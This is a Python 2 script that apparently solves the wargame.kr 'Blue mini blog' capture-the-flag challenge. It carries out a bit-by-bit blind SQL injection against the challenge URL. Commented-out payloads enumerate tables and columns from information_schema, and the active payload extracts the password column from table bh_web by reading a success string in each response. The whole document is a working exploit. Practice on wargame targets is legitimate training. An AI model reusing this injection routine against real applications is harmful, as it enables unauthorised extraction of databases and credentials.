wargame.kr_Blue mini blog

import urllib2, urllib

l = ['0']
l2 = []
for z in xrange(0,11):
 for y in xrange(1,11):
  for x in xrange(6,-1,-1):
   #List table
   #d = "num=(select if(ascii(substr((select table_name from information_schema.tables where table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
   #List column
   #d = "num=(select if(ascii(substr((select column_name from information_schema.columns where table_name = 0x62685f776562 limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
   #data
   d = "num=(select if(ascii(substr((select password from bh_web where num = 1 limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
   #d = "num=(select if(ascii(substr((select identify from bh_web limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
   #d = "num=(select if(ascii(substr((select num from bh_web limit "+str(z)+", 1),"+str(y)+",1))>>"+str(x)+"%261=1,1,0))"
   r = urllib2.Request('http://wargame.kr:8080/prob/6/index.php?log=mvpage_ok', d);
   if urllib2.urlopen(r).read().find("cheer_up~!!") == -1:l.append('0')
   else: l.append('1')
  l2.append(chr(int(''.join(l), 2)))
  l = []
 print l2
 l2 = []